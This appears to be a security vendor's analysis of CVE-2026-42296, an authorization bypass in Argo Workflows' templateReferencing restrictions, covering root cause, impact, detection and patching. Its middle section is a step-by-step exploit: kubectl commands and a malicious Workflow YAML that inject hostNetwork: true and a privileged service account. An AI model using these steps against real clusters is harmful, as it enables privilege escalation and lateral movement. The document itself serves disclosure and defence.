CVE-2026-42296: 
MinimOS vulnerability analysis and mitigation

CVE-2026-42296 is an incorrect authorization vulnerability in Argo Workflows (argoproj/argo-workflows) that allows authenticated users with Workflow creation permissions to bypass templateReferencing: Strict and Secure mode restrictions. It is an incomplete fix for CVE-2026-31892: while the prior patch blocked podSpecPatch, it left other security-sensitive WorkflowSpec fields (e.g., hostNetwork, securityContext, serviceAccountName, tolerations, automountServiceAccountToken) unguarded. Affected versions are all releases before 3.7.14 and 4.0.0–4.0.4 (before 4.0.5). Disclosed on April 23, 2026 and published to the GitHub Advisory Database on May 4, 2026, it carries a CVSS v3.1 base score of 8.1 (High) (Github Advisory, Argo Advisory).

The root cause is CWE-863 (Incorrect Authorization): the setExecWorkflow function gates its restriction check solely on HasPodSpecPatch(), leaving all other WorkflowSpec fields unchecked. The createWorkflowPod function reads hostNetwork, securityContext, serviceAccountName, tolerations, and automountServiceAccountToken from the merged spec produced by JoinWorkflowSpec and applies them directly to the pod. Because JoinWorkflowSpec constructs the merge target from the user-supplied spec and applies the WorkflowTemplate as a patch, user-supplied fields take priority when the template does not explicitly set them (e.g., hostNetwork defaults to false and is omitted, so a user-supplied true survives). In Secure mode, the merged spec is stored on first submission, permanently baking in user overrides and causing subsequent MustNotChangeSpec comparisons to pass (Github Advisory, Argo Advisory).

A low-privileged authenticated user can gain host network access (exposing all veth interfaces and other containers' network namespaces on the node), impersonate arbitrary Kubernetes service accounts (including privileged ones like argo-server), override pod security contexts, add tolerations to schedule workloads on control-plane nodes, and enable service account token mounting — all in violation of the intended security boundary. Clusters that rely exclusively on Argo's Strict or Secure mode for pod security enforcement are fully exposed; clusters with independent controls such as Kubernetes PodSecurity admission or OPA/Gatekeeper may have partial mitigation for some vectors (e.g., hostNetwork). The confidentiality and integrity impacts are both rated High, as attackers can access sensitive cluster resources and modify workload behavior (Github Advisory, Argo Advisory).

The GitHub Security Advisory includes detailed step-by-step reproduction instructions with explicit kubectl commands, making exploitation straightforward for any user with Workflow creation permissions — no additional privileges are required beyond that (Argo Advisory). Feedly's threat intelligence classifies the advisory as containing real exploit steps with high confidence. The EPSS score is approximately 0.04% (0.000280), indicating low current exploitation probability. There is no evidence of active in-the-wild exploitation or CISA KEV catalog inclusion at this time (Github Advisory).

1. Reconnaissance: Identify an Argo Workflows deployment running a vulnerable version (< 3.7.14 or 4.0.0–4.0.4) with templateReferencing: Strict or Secure mode enabled. Confirm you have create permission on Workflow resources in the target namespace.

2. Enable Strict mode (if not already active): An attacker with controller configmap access could enable it, but exploitation targets environments where it is already configured as a security control:

kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'

3. Identify a target WorkflowTemplate: Find or create a WorkflowTemplate that does not explicitly set hostNetwork, securityContext, or serviceAccountName (most templates rely on defaults):

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: netcheck
spec:
  entrypoint: check
  templates:
  - name: check
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["ip addr show"]

4. Submit a malicious Workflow with security overrides: Reference the template via workflowTemplateRef while injecting security-sensitive fields directly in the Workflow spec:

apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: netcheck
  hostNetwork: true
  serviceAccountName: argo-server

5. Verify bypass: Confirm the pod was created with the injected settings, bypassing the template restriction:

kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-<id> \
  -o jsonpath='{.items[0].spec.hostNetwork}'
# Returns: true
kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-<id> \
  -o jsonpath='{.items[0].spec.serviceAccountName}'
# Returns: argo-server

6. Exploit access: With host networking, enumerate all network interfaces on the node to discover other containers and services. With an elevated service account, use the mounted token to make Kubernetes API calls beyond the attacker's normal authorization (Argo Advisory).

• Kubernetes API Logs: Workflow creation requests (kubectl create or API POST to /apis/argoproj.io/v1alpha1/namespaces/<ns>/workflows) containing hostNetwork: true, non-default serviceAccountName, custom securityContext, or unusual tolerations fields alongside a workflowTemplateRef reference — especially on clusters with templateReferencing: Strict or Secure configured.
• Pod Spec Anomalies: Pods spawned by Argo Workflows with spec.hostNetwork: true, spec.serviceAccountName set to a privileged account (e.g., argo-server, cluster-admin-bound SAs), or spec.automountServiceAccountToken: true when the referenced WorkflowTemplate does not define these fields.
• Argo Workflow Status: Workflows that complete successfully despite having security-sensitive fields in their spec that should have been blocked by Strict/Secure mode; absence of the expected error message podSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction.
• Network: Unexpected outbound connections from workflow pods to internal cluster services or the Kubernetes API server from pods that should not have host network access; pod network interfaces matching the host's veth interfaces rather than a container-isolated namespace.
• Audit Logs: Kubernetes audit log entries showing API calls made using service account tokens belonging to privileged SAs (e.g., argo-server) from pods that were not expected to run under those accounts (Argo Advisory).

Upgrade to Argo Workflows v3.7.14 or v4.0.5, which contain the fix for this bypass (v3.7.14 Release, v4.0.5 Release). Until patching is possible, restrict Workflow creation permissions to only highly trusted users, as the bypass requires authenticated create access on Workflow resources. Additionally, deploy independent Kubernetes-level controls — such as PodSecurity admission policies or OPA/Gatekeeper — to enforce restrictions on hostNetwork, privileged containers, and service account usage, which will independently block some attack vectors even on unpatched versions. Audit existing stored Workflow specs in Secure mode for injected security settings, as user overrides may have been baked in on first submission (Github Advisory).

The vulnerability was reported by researcher vnykmshr and remediated by isubasinghe, with Joibel serving as both publisher and remediation reviewer, reflecting a coordinated internal disclosure process (Argo Advisory). A community blog post at infinitsec.net specifically highlighted this as an incomplete fix for CVE-2026-31892, drawing attention to the pattern of incremental security bypasses in the templateReferencing feature. General community tracking was observed across vulnerability aggregators (VulnDB, vulners, CIRCL) shortly after publication, indicating moderate security community interest.